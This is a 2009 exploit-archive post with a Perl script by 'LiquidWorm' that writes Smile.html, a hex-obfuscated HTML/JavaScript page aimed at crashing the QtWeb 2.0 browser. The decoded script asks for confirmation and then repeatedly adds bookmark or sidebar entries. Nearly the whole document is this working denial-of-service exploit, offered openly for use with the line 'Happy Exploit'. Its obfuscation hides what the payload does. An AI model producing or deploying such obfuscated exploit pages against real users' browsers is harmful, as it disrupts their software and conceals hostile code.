qtweb-dos.txt
Posted on 01 April 2009
################################################################################### # # QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile) # # Summary: QtWeb is compact, portable and secure web browser having some unique UI # and privacy features. QtWeb is an open source project based on Nokia's Qt framework # (former Trolltech) and Apple's WebKit rendering engine (the same as being used in # Apple Safari and Google Chrome). # # Happy Exploit. # # Product web page: http://www.qtweb.net/ # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # liquidworm gmail com # # http://www.zeroscience.org/ # # 01.04.2009 # ################################################################################### $S="x3Cx68x74x6Dx6Cx3Ex0Dx0A". "x3Cx74x69x74x6Cx65x3Ex51x74x57x65x62". "x20x49x6Ex74x65x72x6Ex65x74x20x42x72x6Fx77x73x65". "x72x20x32". "x2Ex30x20". "x28x62". "x75x69". "x6Cx64". "x20x30". "x34x33". "x29x20". "x52x65". "x6Dx6F". "x74x65". "x20x44". "x65x6E". "x69x61". "x6Cx20". "x6Fx66". "x20x53". "x65x72". "x76x69". "x63x65". "x20x45". "x78x70". "x6Cx6F". "x69x74". "x3Cx2F". "x54x69". "x74x6C". "x65". "x3E". "x0D". "x0A". "x3Cx68". "x65x61". "x64". "x3E". "x3C". "x62". "x6Fx64". "x79x3E". "x3C". "x73". "x63". "x72". "x69x70". "x74x20". "x74x79". "x70x65". "x3Dx22". "x74x65". "x78x74". "x2Fx6A". "x61x76". "x61x73". "x63x72". "x69x70". "x74x22". "x3Ex0D". "x0Ax61". "x6Cx65". "x72x74". "x28x22". "x51x74". "x57x65". "x62x20". "x49x6E". "x74x65". "x72x6E". "x65x74". "x20x42". "x72x6F". "x77x73". "x65x72". "x20x32". "x2Ex30". "x20x28". "x62". "x75". "x69x6C". "x64x20". "x30". "x34". "x33x29". "x20x52". "x65". "x6D". "x6Fx74". "x65x20". "x44". "x65". "x6Ex69". "x61x6C". "x20". "x6F". "x66x20". "x53x65". "x72". "x76". "x69x63". "x65x20". "x45". "x78". "x70x6C". "x6Fx69". "x74". "x5C". "x6Ex5C". "x6Ex5C". "x74". "x5C". "x74x5C". "x74x62". "x79". "x20". "x4Cx69". "x71x75". "x69". "x64". "x57x6F". "x72x6D". "x20". "x28". "x63x29". "x20x32". "x30". "x30". "x39x22". "x29x3B". "x0Dx0Ax66". "x75x6E". "x63x74". "x69x6F". "x6Ex20". "x64x6F". "x7Ax28". "x29x20". "x7Bx0D". "x0Ax74". "x69x74". "x6Cx65". "x3Dx22". "x48x6F". "x74x20". "x49x63". "x65x22". "x3Bx0D". "x0Ax75". "x72x6C". "x3Dx22". "x68x74". "x74x70x3A". "x2Fx2Fx77". "x77x77x2Ex6Dx69x6Cx77x30x72x6Dx2Ex63x6Fx6Dx2F". "x22x3Bx0Dx0Ax69x66x20x28x77x69x6Ex64". "x6Fx77x2Ex73x69x64x65x62";$M= "x61". "x72" ."x29". "x20". "x7B". "x0D" ."x0A". "x77". "x69". "x6E"."x64". "x6F". "x77". "x2E". "x73". "x69". "x64". "x65". "x62". "x61". "x72". "x2E". "x61". "x64". "x64". "x50". "x61". "x6E". "x65". "x6C". "x28". "x74". "x69". "x74". "x6C". "x65". "x2C". "x20". "x75". "x72". "x6C". "x2C". "x22". "x22". "x29". "x3B". "x0D". "x0A"."x7D". "x20". "x65". "x6C". "x73"; $I="x65x20x69x66x28x20x77". "x69x6Ex64x6Fx77". "x2Ex65x78x74x65x72x6E". "x61x6Cx20x29x20". ############## "x7Bx0Dx0Ax77x69x6Ex64". ## # "x6Fx77x2Ex65"."x78". ###### "x74x65x72x6Ex61". ########## _ _ _ "x6Cx2Ex41x64x64x46x61x76x6Fx72x69". #==---- #==---- #==---- "x74x65x28x20x75". "x72x6Cx2Cx20x74". ##===* "x69x74x6Cx65x29x3Bx0D". "x0Ax7Dx20x65x6C". "x73x65x20x69x66x28x77". "x69x6Ex64x6Fx77". "x2Ex6Fx70x65x72x61x20"; #################### $L="x26x26x20x77x69x6Ex64x6Fx77x2E". "x70x72x69x6Ex74x29x20x7B". "x20x0Dx0Ax72x65x74". "x75x72x6Ex20". "x28x74x72". "x75x65". "x29". "x3B". "x20x7D". "x7Dx0Dx0A". "x76x61x72x20". "x61x73x6Bx20x3Dx20". "x63x6Fx6Ex66x69x72x6Dx28". "x22x50x72x65x73x73x20x4Fx4Bx20". "x74x6Fx20x73x74x61x72x74". "x20x74x68x65x20x44". "x6Fx53x2Ex5C". "x6Ex50x72". "x65x73". "x73". "x20". "x4Ex6F". "x20x74x6F". "x20x64x6Fx64". "x67x65x20x74x68x65". "x20x44x6Fx53x2Ex22x29x3B". "x0Dx0Ax69x66x20x28x61x73x6Bx20". "x3Dx3Dx20x74x72x75x65x29". "x20x7Bx20x0Dx0Ax66". "x6Fx72x20x28". "x78x3Dx30". "x3Bx20". "x78". "x3C". "x78x2B". "x31x3Bx20". "x78x2Bx2Bx29". "x20x64x6Fx7Ax28x29". "x3Bx0Dx0Ax7Dx20x65x6Cx73". "x65x09x7Bx20x61x6Cx65x72x74x28". "x22x4Fx6Bx20x3Ax28x22x29". "x3Bx0Dx0Ax77x69x6E". "x64x6Fx77x2E". "x6Cx6Fx63". "x61x74". "x69". "x6F". "x6Ex2E". "x68x72x65". "x66x20x3Dx20". "x22x68x74x74x70x3A". "x2Fx2Fx77x77x77x2Ex71x74". "x77x65x62x2Ex6Ex65x74x2Fx22x3B"; ######### $E="x0Dx0Ax7Dx20". "x3Cx2Fx73x63". "x72x69x70x74". "x3Ex3Cx2Fx62". "x6Fx64x79x3E". "x3Cx2Fx68x65". "x61x64x3Ex3C". "x2Fx68x74x6D". "x6Cx3E";#####____ my $file = "Smile.html"; my $fun = $S.$M.$I.$L.$E; open (mrowdiuqil, ">./$file") || die " Mffff... $! "; print mrowdiuqil "$fun"; close (mrowdiuqil); print " [+] File $file created with funny potion! ";
